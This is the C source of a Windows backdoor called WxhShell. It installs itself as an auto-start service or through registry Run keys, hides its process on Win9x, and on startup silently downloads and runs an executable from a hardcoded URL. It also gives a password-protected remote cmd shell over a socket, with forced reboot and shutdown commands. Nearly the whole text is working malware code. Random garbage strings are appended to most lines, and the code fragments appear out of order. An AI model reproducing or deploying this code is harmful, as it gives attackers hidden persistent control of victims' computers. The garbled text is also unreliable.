    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nqBu C  
    if(Boot(SHUTDOWN))  W 6~=?C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <%z/6I Af|  
    else { -db+Y:xUZ  
    closesocket(wsh); >=V+X"\Z  
    ExitThread(0); 0 OBkd  
    } =Wf@'~K0k"  
    break; ;i9CQ0e ?  
    } oo!g?X[[  
  // 获取shell ]c)SVn$6  
  case 's': { _#C}hwOR>X  
    CmdShell(wsh); )hug<D *h  
    closesocket(wsh); HhL%iy1  
    ExitThread(0); ju#6 3  
    break; e@OA>  
  } .N=hA  
  // 退出 +HX'AC  
  case 'x': { HhvG#Sam!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -e~U u  
    CloseIt(wsh); =FmU]DV  
    break; %U GlAyj  
    } f[b YjIX  
  // 离开 Q7|13^ |C  
  case 'q': { yjd'{B9{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .jp]S4~  
    closesocket(wsh); sh ;uKzQ  
    WSACleanup(); j;)g+9`  
    exit(1); ^{:jY, ?]  
    break; F-^HN%  
        } g5Rm!T+@I<  
  } ImY.HB^&  
  } ozC!q)j  
t\i1VXtO  
  // 提示信息 Zjg\jo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nz*sD^SJa  
} au|^V^m  
  } A+I&.\QAR  
rf->mk{  
  return; s.`d<(X?  
} Y/H^*1  
8%<`$`FyU  
// shell模块句柄 s&hA  
int CmdShell(SOCKET sock) Z=@)  
{ `mjx4Lb  
STARTUPINFO si; X5Y `(/V  
ZeroMemory(&si,sizeof(si)); >&QH{!(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zpqGh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; z,FTsR$x  
PROCESS_INFORMATION ProcessInfo; @b\ S.  
char cmdline[]="cmd"; V<4+g/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *Ca)RgM  
  return 0; 4;RCPC  
} i1I>RK  
-'[(Uzj  
// 自身启动模式 Ia`JIc^e  
int StartFromService(void) <m,yFk  
{ S tnv>  
typedef struct p*`SGX  
{ QZ3(u<f  
  DWORD ExitStatus; l(,;wAH  
  DWORD PebBaseAddress; *fi;ZUPW3  
  DWORD AffinityMask; PCPf*G>  
  DWORD BasePriority; {R-82%X  
  ULONG UniqueProcessId; oD#>8Aws  
  ULONG InheritedFromUniqueProcessId; vM7vf6  
}   PROCESS_BASIC_INFORMATION; vA"niO  
1N9< d,  
PROCNTQSIP NtQueryInformationProcess; u'i%~(:$\)  
HCG@#W<wc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kAN;S<jSE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0[:9 Hb6  
eh:}X}c=J]  
  HANDLE             hProcess; #[a"%byTR  
  PROCESS_BASIC_INFORMATION pbi; t {SMSp  
KO"Jg-6r|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a-5HIY5  
  if(NULL == hInst ) return 0; &.Latx  
0UGiPH,()  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |Vwc/9`t]>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LR3`=Z9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5U{4TeUH  
}B"|z'u  
  if (!NtQueryInformationProcess) return 0; =1*%>K  
r|^lt7\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8jggc#.  
  if(!hProcess) return 0; .vN%UNu  
Er"R;l]xJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6KEykw j  
hu P^2*c  
  CloseHandle(hProcess); -4e) N*VVu  
,$h(fM8GC  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 19F ;oFp  
if(hProcess==NULL) return 0; OG`|td  
rToaGQh  
HMODULE hMod; @%OPy|=,{  
char procName[255]; - J"qrpZ^  
unsigned long cbNeeded; 9jO`gWxV8*  
E+}GxFG-:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (@)2PO /  
K/vxzHSl  
  CloseHandle(hProcess); @sw9A93A  
|5=~(-I>@  
if(strstr(procName,"services")) return 1; // 以服务启动 &so-O90  
^^7L"je]g  
  return 0; // 注册表启动 5^i.;>(b  
} j?:`-\w5  
M=5d95*-}  
// 主模块 2J;kD2"!  
int StartWxhshell(LPSTR lpCmdLine) {ExII<=6  
{ |XKOXa3.  
  SOCKET wsl; U~uwm/h  
BOOL val=TRUE; ePp[m zg6  
  int port=0; *8$>Whr  
  struct sockaddr_in door; YBX)eWslK  
"7=bL7wM&  
  if(wscfg.ws_autoins) Install(); (n=9c%w  
"^;#f+0  
port=atoi(lpCmdLine); gtD   
)@}A r  
if(port<=0) port=wscfg.ws_port; 9wL!D3e {Q  
tT;8r8@  
  WSADATA data; C,o:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `6&`wKz  
t]s94 R q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y!SE;N&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !*&4< _  
  door.sin_family = AF_INET; w{PUj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A-Mj|V  
  door.sin_port = htons(port); oZgHSRRL  
k+FMZ, D|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { oP/>ju  
closesocket(wsl); SOVj Eo4'3  
return 1; 2(pLxVl  
} R7lYu\mA  
hM?`x(P  
  if(listen(wsl,2) == INVALID_SOCKET) { %/51o6a  
closesocket(wsl); 6DB0ni  
return 1; 7 0_}S*T  
} '=VH6@vZ_'  
  Wxhshell(wsl); j(j#0dXLh  
  WSACleanup();  KyTuF   
Q|?'(J+  
return 0; `%e|$pK  
/iplU  
} >Iuzk1'S  
a0PE^U  
// 以NT服务方式启动 IroPx#s:i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kVd5,Qd  
{ vm8$:W2 }  
DWORD   status = 0; ?=<~^Lk  
  DWORD   specificError = 0xfffffff; x>v-m*4Z4@  
i0>]CJG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tAERbiH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C8ZL*9U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OVZP x%a  
  serviceStatus.dwWin32ExitCode     = 0; D93gH1z  
  serviceStatus.dwServiceSpecificExitCode = 0; U9 #w  
  serviceStatus.dwCheckPoint       = 0; 3f"C!l]Xu  
  serviceStatus.dwWaitHint       = 0; |jsb@  
5Tedo~v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YScvyh?E  
  if (hServiceStatusHandle==0) return; nob0T5G  
V C-d0E0  
status = GetLastError(); L_~8"I_  
  if (status!=NO_ERROR) 7tRi"\[5  
{ ,[* ;UR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V,Q4n%h1.  
    serviceStatus.dwCheckPoint       = 0; J? .F\`N)  
    serviceStatus.dwWaitHint       = 0; @ &pqt6/t  
    serviceStatus.dwWin32ExitCode     = status; A|L'ih/  
    serviceStatus.dwServiceSpecificExitCode = specificError; &n:{x}Uc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7VAJJv3  
    return; {WQq}-(  
  } z8"7u /4v{  
X %4Kj[I^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vQ1 v# Z  
  serviceStatus.dwCheckPoint       = 0; wksl0:BL  
  serviceStatus.dwWaitHint       = 0; "u492^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y]Vq\]m\  
} U<^F4*G  
?T!)X)A#  
// 处理NT服务事件,比如:启动、停止 pvF-Y9Xb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O6X"RsI}  
{ ((bTwx  
switch(fdwControl) iX"C/L|JN  
{ l$XPIC~H  
case SERVICE_CONTROL_STOP: XKS8K4"  
  serviceStatus.dwWin32ExitCode = 0; rS7)6h7(7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,eRQu.  
  serviceStatus.dwCheckPoint   = 0; 5)UQWnd5  
  serviceStatus.dwWaitHint     = 0; |ZiC`Nt  
  { ) #+^ sAO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H C0w;MG)  
  } .4-,_`T?  
  return; [9o4hw  
case SERVICE_CONTROL_PAUSE: cBXWfv4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VUwC-)  
  break; Y`BRh9Sa  
case SERVICE_CONTROL_CONTINUE: KzV 2MO-$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; aG%, cQ1  
  break; \r {W  
case SERVICE_CONTROL_INTERROGATE: 4vWkT8HQ  
  break; k[kju%i4  
}; !.TLW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?LK 2g  
} IzLQhDJ1  
i'#Gy,R  
// 标准应用程序主函数 6"f}O<M 5H  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OLC{iD#  
{ #oni:]E!m  
,9D+brm  
// 获取操作系统版本 j+-P :xvP  
OsIsNt=GetOsVer(); c>"cX&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,yd=e}lQx  
9DQa PA6  
  // 从命令行安装 cV{o?3<:B  
  if(strpbrk(lpCmdLine,"iI")) Install(); !\Xm!I8  
[*:6oo98'  
  // 下载执行文件 T~_/Vi  
if(wscfg.ws_downexe) { 'T<iHV&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NMOut@  
  WinExec(wscfg.ws_filenam,SW_HIDE); /FP5`:PfL  
} Xx:F)A8O  
uocHa5J  
if(!OsIsNt) { XolZonJr  
// 如果时win9x,隐藏进程并且设置为注册表启动 y: m_tv0~0  
HideProc(); ]n."<qxeT  
StartWxhshell(lpCmdLine); MY#   
} rgmF:C  
else 9d[5{" 2j  
  if(StartFromService()) Rp7ntI:  
  // 以服务方式启动 O3DmNq$dz  
  StartServiceCtrlDispatcher(DispatchTable); a ] =  
else fjk\L\1  
  // 普通方式启动 o6 E!IX+  
  StartWxhshell(lpCmdLine); +5VLw  
Suk  
return 0; ABE@n%|`  
} W"^wnGa@a  
t58e(dgi  
]I3!fEAWR  
$un?0S  
===========================================  <1%f@}+8  
N_:qRpp6i  
Vq;dJ%sY  
$/!{OU.t`  
;qHOOT  
M@0;B30L  
" ?T+q/lt4  
b& 1`NO  
#include <stdio.h> 5waKI?4F  
#include <string.h> u#}[ZoI  
#include <windows.h> K2%w0ohC  
#include <winsock2.h> aaD;jxT&M|  
#include <winsvc.h> AL>$HB$  
#include <urlmon.h> C8z{XSo  
a!O0,y  
#pragma comment (lib, "Ws2_32.lib") M1KqY:9E  
#pragma comment (lib, "urlmon.lib") E@7J:|.)R  
AU2i%Q!  
#define MAX_USER   100 // 最大客户端连接数 !%$`Eq)M^7  
#define BUF_SOCK   200 // sock buffer " Hd|7F'u=  
#define KEY_BUFF   255 // 输入 buffer pAT7)Ch  
+TXX$)3%  
#define REBOOT     0   // 重启 q$=#A7H>3)  
#define SHUTDOWN   1   // 关机 OpHsob~  
zc[Si bT  
#define DEF_PORT   5000 // 监听端口 rtc9wu  
F_CYYGZ  
#define REG_LEN     16   // 注册表键长度 qvPtyc^fN  
#define SVC_LEN     80   // NT服务名长度 7hsGua  
qgfi\/$6  
// 从dll定义API W*2U="t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); AM!G1^c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eH{[C*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x&0vKo;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2k=# om19  
x)@G;nZ  
// wxhshell配置信息 "s{5O>  
struct WSCFG { R rda# h^  
  int ws_port;         // 监听端口 '*3h!lW1.  
  char ws_passstr[REG_LEN]; // 口令 @Z12CrJ  
  int ws_autoins;       // 安装标记, 1=yes 0=no A,a.8!*}vd  
  char ws_regname[REG_LEN]; // 注册表键名 =uS9JU^E  
  char ws_svcname[REG_LEN]; // 服务名 ga`3 (  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ' ET~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4q k9NK2 U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <*qnY7c&N;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }"|K(hq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" w 47tgPPk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [C'JH//q*t  
p9x(D/YP0  
}; sc}~8T  
lz?$f4TzA  
// default Wxhshell configuration GaK-t*Q  
struct WSCFG wscfg={DEF_PORT, J|qZ+A[z  
    "xuhuanlingzhe", qHrc9fB  
    1, ~GZY5HF  
    "Wxhshell", ++^l]8  
    "Wxhshell", MB~=f[cUnd  
            "WxhShell Service", ^y<<>Y'I  
    "Wrsky Windows CmdShell Service", XMxSQ B1  
    "Please Input Your Password: ", uc){+'[  
  1, c"B{/;A  
  "http://www.wrsky.com/wxhshell.exe", JPoN&BTCj  
  "Wxhshell.exe" LhA/xf  
    }; & tg&5_  
 ']2E {V  
// 消息定义模块 ^rifRY-,yO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6G[4rD&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s T}. v*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Utnr5^].2O  
char *msg_ws_ext="\n\rExit."; %H]ptH5  
char *msg_ws_end="\n\rQuit."; tFp Ygff<  
char *msg_ws_boot="\n\rReboot..."; EK6:~  
char *msg_ws_poff="\n\rShutdown..."; {y=j?lD  
char *msg_ws_down="\n\rSave to "; ;V*l.gr'2  
5kCUaPu  
char *msg_ws_err="\n\rErr!"; ~a ]+#D  
char *msg_ws_ok="\n\rOK!"; CxwoBuG=?  
zh8nc%X{  
char ExeFile[MAX_PATH]; {>hC~L?6  
int nUser = 0;  : y%d  
HANDLE handles[MAX_USER]; pKpUXfQu  
int OsIsNt; (|klSz_4LM  
M l Jo`d  
SERVICE_STATUS       serviceStatus; /|C*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1g8_Xe4  
F8jd'OR  
// 函数声明 Azl&mu  
int Install(void); p@xf^[50k  
int Uninstall(void); xhV O3LW'  
int DownloadFile(char *sURL, SOCKET wsh); Oo5w?+t  
int Boot(int flag); 6-$jkto  
void HideProc(void); p<2L.\6"  
int GetOsVer(void); E8$20Ue  
int Wxhshell(SOCKET wsl); 7%Gwc?[x  
void TalkWithClient(void *cs); zzTfYf)  
int CmdShell(SOCKET sock); hI]Hp3S  
int StartFromService(void); MQ 5R O;RY  
int StartWxhshell(LPSTR lpCmdLine); a{^m-fSaR"  
e7Xeo+/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ObVGV  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  P5a4ze  
r`W)0oxD  
// 数据结构和表定义 3!XjtVhK?I  
SERVICE_TABLE_ENTRY DispatchTable[] = *W,]>v0%T  
{ ?Y-%'J(  
{wscfg.ws_svcname, NTServiceMain}, #5cEV'm;  
{NULL, NULL} xjfV?B'Y}V  
}; iU$] {c2;A  
DS+}UO  
// 自我安装 H?<N.Dq  
int Install(void) n0r+A^]  
{ C7lH]`W|/  
  char svExeFile[MAX_PATH]; IUE~_7  
  HKEY key; @$S+Ne[<  
  strcpy(svExeFile,ExeFile); zMbN;tu  
F, W~,y  
// 如果是win9x系统,修改注册表设为自启动 QdT}wkX  
if(!OsIsNt) { |'P]GK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s )noo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R.jIl@p   
  RegCloseKey(key); R Q vft  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _ky,;9G]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PDJr<E?  
  RegCloseKey(key); qkt0**\  
  return 0; Vq2y4D?  
    } 7S '% E  
  } zL$@`Eh-KP  
} LPZF)@|`  
else { \Jx04[=  
N4^-`  
// 如果是NT以上系统,安装为系统服务 ]NUl9t*N4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h].<t&  
if (schSCManager!=0) 15%w 8u  
{ Bp_$.!Qy  
  SC_HANDLE schService = CreateService qaY1xPWz"  
  ( 1C< uz29  
  schSCManager, Z,sv9{4r  
  wscfg.ws_svcname, Huy5-[)15  
  wscfg.ws_svcdisp, UJD 0K]s  
  SERVICE_ALL_ACCESS, |v \_@09=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  3,p]/Z_  
  SERVICE_AUTO_START, wT;0w3.Z  
  SERVICE_ERROR_NORMAL, Sh/T,  
  svExeFile, 'Q|M'5'  
  NULL, x.7]/)  
  NULL, r[2ILe  
  NULL, I;e=0!9U  
  NULL, .:@Ykdm4I  
  NULL JSkLEa~<  
  ); ^A!Qc=#z}  
  if (schService!=0) Id_2PkIN$~  
  { v4u5yy_;(  
  CloseServiceHandle(schService); lpQSup  
  CloseServiceHandle(schSCManager); p2ogn}`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N*"p|yhd]  
  strcat(svExeFile,wscfg.ws_svcname); FG%X~L<d,)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S]bmS6#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @OV|]u  
  RegCloseKey(key); ZIf  
  return 0; 5~r33L%  
    } 5"CZh.J  
  } rX4j*u2u  
  CloseServiceHandle(schSCManager); 5>CEl2mSl  
} m+b):  
} y`\@N"Cf  
% W=b? :  
return 1; =T -&j60  
} ?j40} B]]d  
NL!u<6y  
// 自我卸载 ySx>L uY#3  
int Uninstall(void) G~Hzec{#tg  
{ <D:.(AUeO  
  HKEY key; W~zbm]  
19HM])Zw\  
if(!OsIsNt) { N9jH\0nG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { UELy"z R  
  RegDeleteValue(key,wscfg.ws_regname); G!"YpYml  
  RegCloseKey(key); S& S Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _oHNkKQ  
  RegDeleteValue(key,wscfg.ws_regname); Gcdd3W`O  
  RegCloseKey(key); hM;lp1l  
  return 0; R$ q; !  
  } )CuZDf@  
} pk^K:Xs}  
} C1 jHz  
else { q?4p)@#   
-db_E#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /JHc!D  
if (schSCManager!=0) UaWl6 Y&Vu  
{ s!?`T1L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U&Wt%U{  
  if (schService!=0) PK{acen  
  { 8vMG5#U[  
  if(DeleteService(schService)!=0) { {4G%:09~J  
  CloseServiceHandle(schService); eM$sv9?  
  CloseServiceHandle(schSCManager); )Qe~ 8u@?  
  return 0; *A"~m !=  
  } :pGaFWkvO  
  CloseServiceHandle(schService); M-1ngI0H;  
  } r[BVvX/,F  
  CloseServiceHandle(schSCManager); [<%H>S1  
} G&i!Hs  
} lr`&mZ( j  
)/pU.Z/  
return 1; zG ^$"f2  
} 43mP]*=A  
,cB\  
// 从指定url下载文件 vRs,zL$W  
int DownloadFile(char *sURL, SOCKET wsh) d/[; `ZD+  
{ umiBj)r  
  HRESULT hr; -o!$tI&  
char seps[]= "/"; { OXFN;2  
char *token; ~yH?=:>U  
char *file; sE:M@`2L  
char myURL[MAX_PATH]; rEB @$C^  
char myFILE[MAX_PATH]; NWMFtT  
N"]q='t  
strcpy(myURL,sURL); $, ,op(  
  token=strtok(myURL,seps); XZ^^%*ew  
  while(token!=NULL) l|kSsP:GO  
  { RxI(:i?  
    file=token; L<ue$'  
  token=strtok(NULL,seps); >8k _n  
  } _#r+ !e  
aX5 z&r:{  
GetCurrentDirectory(MAX_PATH,myFILE); y#U+c*LB  
strcat(myFILE, "\\"); }+C2I  
strcat(myFILE, file); "Y~:|?(@-  
  send(wsh,myFILE,strlen(myFILE),0); czS+< w  
send(wsh,"...",3,0); n)^i/ nXb'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sj HrPs e  
  if(hr==S_OK) _$ +^q-  
return 0; 7ccO93Mz  
else umt.Um.m2  
return 1; "nw;NIp!  
X]wRwG  
} &6ZD136  
s'%R  
// 系统电源模块 7?GIS '  
int Boot(int flag) ^(f"v e#7v  
{ #~C]ZrK  
  HANDLE hToken; @d mV  
  TOKEN_PRIVILEGES tkp; ^j31S*f&:  
G!>z;5KuS  
  if(OsIsNt) { q|!-0B @  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $5ak_@AC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); apg=-^L'  
    tkp.PrivilegeCount = 1; A v2 08}Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ABD)}n=%c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ] 6TATPIr  
if(flag==REBOOT) {  SL#0kc0x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DAcQz4T`  
  return 0; }BZ"S-hZ  
} G9xmmc  
else { W4pL ,(S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >z%&xgOa  
  return 0; <}<zgOT[1!  
} [AYOYENp-  
  } '8!Y D?n  
  else { F'4w;-ax  
if(flag==REBOOT) { zgNc4B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nD`w/0hT<  
  return 0; ;<Ar=?  
} fI{&#~f4C  
else { x:),P-~w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r:f[mk"-"A  
  return 0; pWK(z[D  
} 1FlX'[vh  
} ++6`sMJ  
}1Gv)l7  
return 1; 'EbWFMjy  
} qf!p 9@4F[  
D^l%{IG   
// win9x进程隐藏模块 >O*IQ[r-  
void HideProc(void) gl\\+VyU  
{ 0ZZZoP o  
9 Vkb>yFX'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fVF2-Rh=  
  if ( hKernel != NULL ) Sdt`i  
  { =G7m)!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7gj4j^a^]{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3Dng 1}  
    FreeLibrary(hKernel); tnH2sHby  
  } dIN$)?aB0  
fI&t]   
return; >, F bX8Zz  
} 9^oKtkoDZ  
ZCmgs4W!  
// 获取操作系统版本 ,\_1w  
int GetOsVer(void) kD=WO4}  
{ NW]Lj >0Y  
  OSVERSIONINFO winfo; AL9chYP}/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 63\/ * NNB  
  GetVersionEx(&winfo); D{GfL ib"U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d,+Hd2o^X  
  return 1; y0sR6TY)f  
  else #M9~L[nF S  
  return 0; $"+djI?E9  
} 't:; irLW.  
IpYM;tYw&  
// 客户端句柄模块 7m4ao K  
int Wxhshell(SOCKET wsl) '(U-(wTC'/  
{ >0/i[k-dk  
  SOCKET wsh; EMY/~bQW  
  struct sockaddr_in client; 4ezEW|S  
  DWORD myID; Cn,d?H  
Hx"ob_^'7  
  while(nUser<MAX_USER) )eUh=eW  
{ W0dSsjNio  
  int nSize=sizeof(client); '))0Lh l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?qPo=~y01  
  if(wsh==INVALID_SOCKET) return 1; GWZ }7ake  
+O8%Hm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {m4b(t`xw  
if(handles[nUser]==0) , ]bhyp  
  closesocket(wsh); JZ)RGSG i  
else mk;&yh  
  nUser++; ;O,+2VzP%^  
  } >")Tf6zw&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CyJEY-  
J?V?R  
  return 0; CS2 Bo  
} 6.sx?YYM  
c/D+|X*  
// 关闭 socket SW H2  
void CloseIt(SOCKET wsh) }q_<_lQ  
{ gqZ'$7So  
closesocket(wsh); D9<!mH  
nUser--; ^H~h\,;zQ  
ExitThread(0); ?^7t'`zk  
} S=MEG+Ad  
\HqNAE2T  
// 客户端请求句柄 m4**~xfC  
void TalkWithClient(void *cs) sZjQ3*<-r  
{ HHA<IZ#;,  
8L, 5Q9 $  
  SOCKET wsh=(SOCKET)cs; '}9x\3E  
  char pwd[SVC_LEN]; {&cJDqz5=  
  char cmd[KEY_BUFF]; `tB gH_$M  
char chr[1]; /kE6@  
int i,j; 3DzMB?I  
r /YMLQ  
  while (nUser < MAX_USER) { (uXL^oja  
d?ex,f.  
if(wscfg.ws_passstr) { {>}!+k -`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7S-ys+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hkk/xNP  
  //ZeroMemory(pwd,KEY_BUFF); <lgYcdJ   
      i=0; 6g2a[6G5  
  while(i<SVC_LEN) { VQ(jpns5  
B\=L3eL<D  
  // 设置超时 q_Q/3rh  
  fd_set FdRead; lsJSYJG&  
  struct timeval TimeOut; oQLq&zRH`f  
  FD_ZERO(&FdRead); Sxnpq Vbk  
  FD_SET(wsh,&FdRead); YpWPz %`:  
  TimeOut.tv_sec=8; _Us#\+]_:  
  TimeOut.tv_usec=0; zpzK>DH(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9eGyyZg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `[z<4"Os   
; ^*}#X d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <Q3oT  
  pwd=chr[0]; Vrjc~>X  
  if(chr[0]==0xd || chr[0]==0xa) { fX(3H1$"  
  pwd=0; .!Qki@  
  break; {}>0e:51  
  } Z)e/ !~""]  
  i++; $I!XSz"/e  
    } SAH-p*.  
1A?W:'N  
  // 如果是非法用户,关闭 socket pf2[ , v/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #9B)Xx!g  
} (jnzT=y  
m.JBOq=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c%^7!FSg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cW~}:;D4  
}v@dL3{f  
while(1) { NC8t) X7  
Um }  
  ZeroMemory(cmd,KEY_BUFF);  H_B4  
O#n8=B4  
      // 自动支持客户端 telnet标准   Yab%/z2:  
  j=0; ~t@cO.c  
  while(j<KEY_BUFF) { dl.N.P7}4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A|CmlAW~^  
  cmd[j]=chr[0]; @y e4q.m  
  if(chr[0]==0xa || chr[0]==0xd) { Eav[/cU  
  cmd[j]=0; !!qK=V|>  
  break; 3RiWZN  
  } K#l:wH _  
  j++; HpR]q05d  
    } \@-@Y  
]O Z5 fd  
  // 下载文件 x[4`fM.m*  
  if(strstr(cmd,"http://")) { qBU-~"2t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5(Cl1Yse=r  
  if(DownloadFile(cmd,wsh)) E0BMv/r8b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }xKP~h'F  
  else V GL aN%|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7wWFr  
  } 32l3vv.j  
  else { r~[Ia!U?  
sD<a+Lw}x  
